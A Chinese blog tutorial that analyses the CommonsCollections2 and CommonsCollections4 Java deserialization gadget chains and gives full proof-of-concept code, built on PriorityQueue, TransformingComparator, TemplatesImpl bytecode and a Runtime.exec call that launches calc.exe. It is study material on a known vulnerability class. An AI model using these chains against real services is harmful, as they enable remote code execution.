CommonsCollections2和CommonsCollections4
yearnxyl Lv2

CommonsCollections2和CommonsCollections4具有一个共同的特征:使用commons-collections4而非commons-collections

commons-collections4

在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有两个分⽀版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

由于commons-collections存在一些Api和架构上的设计问题,若进行修复会存在向前兼容问题。因此官网推出commons-collections4。commons-collections4并非commons-collections的替代品,而是一个新的包,因此两者可共存在一个项目中。

commons-collections4中的CC链

回忆前面学过的CC链,核心部分为commons-collections库中的各个Transformer类以及LazyMap类。在commons-collections4中这些类是否还适用?

这里使用CC6进行尝试,发现LazyMap#decorate()发生报错。

image

在commons-collections中LazyMap#decorate()用来生成LazyMap实例化对象。查看commons-collections4中的LazyMap,发现decorate()方法被更改为lazyMap()

image

在源码中进行更改后,可以成功执行。

image

除了LazyMap外,TransformedMap经过稍微更改也可以在commons-collections4中执行。

CommonsCollections2链

查看ysoserial中CommonsCollections2的代码,可以发现引入了两个新的类:PriorityQueue、TransformingComparator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {

public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2.class, args);
}

}

PriorityQueue和TransformingComparator

PriorityQueue是一个优先队列,优先队列每次出队时的元素都是优先级最高的元素。TransformingComparator是比较器,其用来对队列中的元素进行比较,并指定优先级

由ysoserial可以看到PriorityQueue即最后进行序列化的类。

反序列化流程从PriorityQueue#readObject()开始

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

跟进heapify() ,查看ysoserial可以发现这里的queue[0]为templates

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

跟进siftDown(int k, E x)。这里的comparatorTransformingComparator,很显然不为null

1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

跟进siftDownUsingComparator(int k, E x)。这里执行了comparator.compare(x, (E) c),参数x为templates。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

查看TransformingComparator#compare()。查看ysoserial可以发现这里的this.transformerInvokerTransformer

1
2
3
4
5
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

在ysoserial中,通过反射将InvokerTransformer#iMethodName赋值为newTransformer

1
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

因此反序列化时相当于执行了InvokerTransformer.transform(templates)

根据ysoserial思路尝试自己构造POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CommonsCollections2 {
static void SetFieldValue(String FieldName,Object object,Object value)throws Exception{
Field field=object.getClass().getDeclaredField(FieldName);
field.setAccessible(true);
field.set(object,value);
}
public static void main(String[] args)throws Exception {
//构造templates链
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABVUZW1wbGF0ZXNJbXBsQ2xzLmphdmEMAA4ADwcAGwwAHAAdAQAMSGVsbG8gV29ybGQhBwAeDAAfACABABBUZW1wbGF0ZXNJbXBsQ2xzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAATAAQAFAAMABUAAQAQAAAAAgAR");
SetFieldValue("_name", templates, "name");
SetFieldValue("_bytecodes", templates, new byte[][]{bytes});
SetFieldValue("_tfactory", templates, new TransformerFactoryImpl());
//实例化PriorityQueue类。后续会调用TransformingComparator#compare
InvokerTransformer invokerTransformer=new InvokerTransformer<>("toString",null,null);
PriorityQueue priorityQueue=new PriorityQueue(2, new TransformingComparator(invokerTransformer));
priorityQueue.add(templates);
priorityQueue.add(templates);
SetFieldValue("iMethodName",invokerTransformer,"newTransformer");
File file = new File("./a.txt");
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
//创建输出流和输入流
FileOutputStream fileOutputStream = new FileOutputStream(file);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
FileInputStream fileInputStream = new FileInputStream(file);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectOutputStream.writeObject(priorityQueue);
Object o=objectInputStream.readObject();
}
}

image

除了使用TemplatesImpl外,当然也可以使用ChainedTransformer。

这里的priorityQueue.add()和使用TemplatesImpl不同,调试一下代码即可了解原因。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package org.example;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollections2 {
static void SetFieldValue(String FieldName,Object object,Object value)throws Exception{
Field field=object.getClass().getDeclaredField(FieldName);
field.setAccessible(true);
field.set(object,value);
}
public static void main(String[] args)throws Exception {
Transformer[] faketransformers=new Transformer[]{
new ConstantTransformer(1)
};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new String[]{"C:\\Windows\\System32\\calc.exe"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(faketransformers);
//实例化PriorityQueue类。后续会调用TransformingComparator#compare
PriorityQueue priorityQueue=new PriorityQueue(2, new TransformingComparator(chainedTransformer));
priorityQueue.add(1);
priorityQueue.add(2);
SetFieldValue("iTransformers",chainedTransformer,transformers);
File file = new File("./a.txt");
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
//创建输出流和输入流
FileOutputStream fileOutputStream = new FileOutputStream(file);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
FileInputStream fileInputStream = new FileInputStream(file);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectOutputStream.writeObject(priorityQueue);
Object o=objectInputStream.readObject();
}
}

CommonsCollections4链

同样从ysoserial代码入手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public Queue<Object> getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);

ConstantTransformer constant = new ConstantTransformer(String.class);

// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);

// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");

ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);

// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;

return queue;
}

看一下代码中用到的类。很明显CC4是CC2和CC3的结合。

回忆CC3,核心代码如下:

1
2
3
4
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};

根据ysoserial中的思路,我们可以构造如下代码:

比较简单,就不逐行分析了。最后在TransformingComparator#compare()中执行了ChainedTransformer#transform()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CommonsCollections4 {
static void SetFieldValue(String FieldName,Object object,Object value)throws Exception{
Field field=object.getClass().getDeclaredField(FieldName);
field.setAccessible(true);
field.set(object,value);
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates=new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABVUZW1wbGF0ZXNJbXBsQ2xzLmphdmEMAA4ADwcAGwwAHAAdAQAMSGVsbG8gV29ybGQhBwAeDAAfACABABBUZW1wbGF0ZXNJbXBsQ2xzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAATAAQAFAAMABUAAQAQAAAAAgAR");
SetFieldValue("_name", templates, "name");
SetFieldValue("_bytecodes", templates, new byte[][]{bytes});
SetFieldValue("_tfactory", templates, new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
Transformer[] fakeTransformers=new Transformer[]{new ConstantTransformer(1)};
ChainedTransformer chainedTransformer=new ChainedTransformer(fakeTransformers);
PriorityQueue priorityQueue=new PriorityQueue(2,new TransformingComparator(chainedTransformer));
priorityQueue.add(1);
priorityQueue.add(2);
SetFieldValue("iTransformers",chainedTransformer,transformers);

File file = new File("./a.txt");
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
//创建输出流和输入流
FileOutputStream fileOutputStream = new FileOutputStream(file);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
FileInputStream fileInputStream = new FileInputStream(file);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectOutputStream.writeObject(priorityQueue);
Object o=objectInputStream.readObject();

}
}

image

除此之外,如果能够理解上面CommonsCollections2给的两个例子。这里就可以很容易写出不使用ChainedTransformer的demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CommonsCollections4 {
static void SetFieldValue(String FieldName,Object object,Object value)throws Exception{
Field field=object.getClass().getDeclaredField(FieldName);
field.setAccessible(true);
field.set(object,value);
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEAClNvdXJjZUZpbGUBABVUZW1wbGF0ZXNJbXBsQ2xzLmphdmEMAA4ADwcAGwwAHAAdAQAMSGVsbG8gV29ybGQhBwAeDAAfACABABBUZW1wbGF0ZXNJbXBsQ2xzAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgAAAAAAAwABAAcACAACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAADAALAAAABAABAAwAAQAHAA0AAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAABEACwAAAAQAAQAMAAEADgAPAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAATAAQAFAAMABUAAQAQAAAAAgAR");
SetFieldValue("_name", templates, "name");
SetFieldValue("_bytecodes", templates, new byte[][]{bytes});
SetFieldValue("_tfactory", templates, new TransformerFactoryImpl());
Transformer transformer=new ConstantTransformer(1);
InstantiateTransformer instantiateTransformer=new InstantiateTransformer<>(new Class[]{Templates.class},new Object[]{templates});
TransformingComparator transformingComparator=new TransformingComparator(transformer);
PriorityQueue priorityQueue=new PriorityQueue<>(2, transformingComparator);
priorityQueue.add(TrAXFilter.class);
priorityQueue.add(TrAXFilter.class);
SetFieldValue("transformer",transformingComparator,instantiateTransformer);

File file = new File("./a.txt");
try {
file.createNewFile();
} catch (IOException e) {
e.printStackTrace();
}
//创建输出流和输入流
FileOutputStream fileOutputStream = new FileOutputStream(file);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
FileInputStream fileInputStream = new FileInputStream(file);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectOutputStream.writeObject(priorityQueue);
Object o=objectInputStream.readObject();

}
}

总结

CommonsCollections2和CommonsCollections4的核心就是:

1
new PriorityQueue(2, new TransformingComparator(Transformer<? super I, ? extends O> transformer)

PriorityQueue#readObject()->TransformingComparator#compare()->Transformer#transform(new Object())transform()的参数通过PriorityQueue#add()获取。

image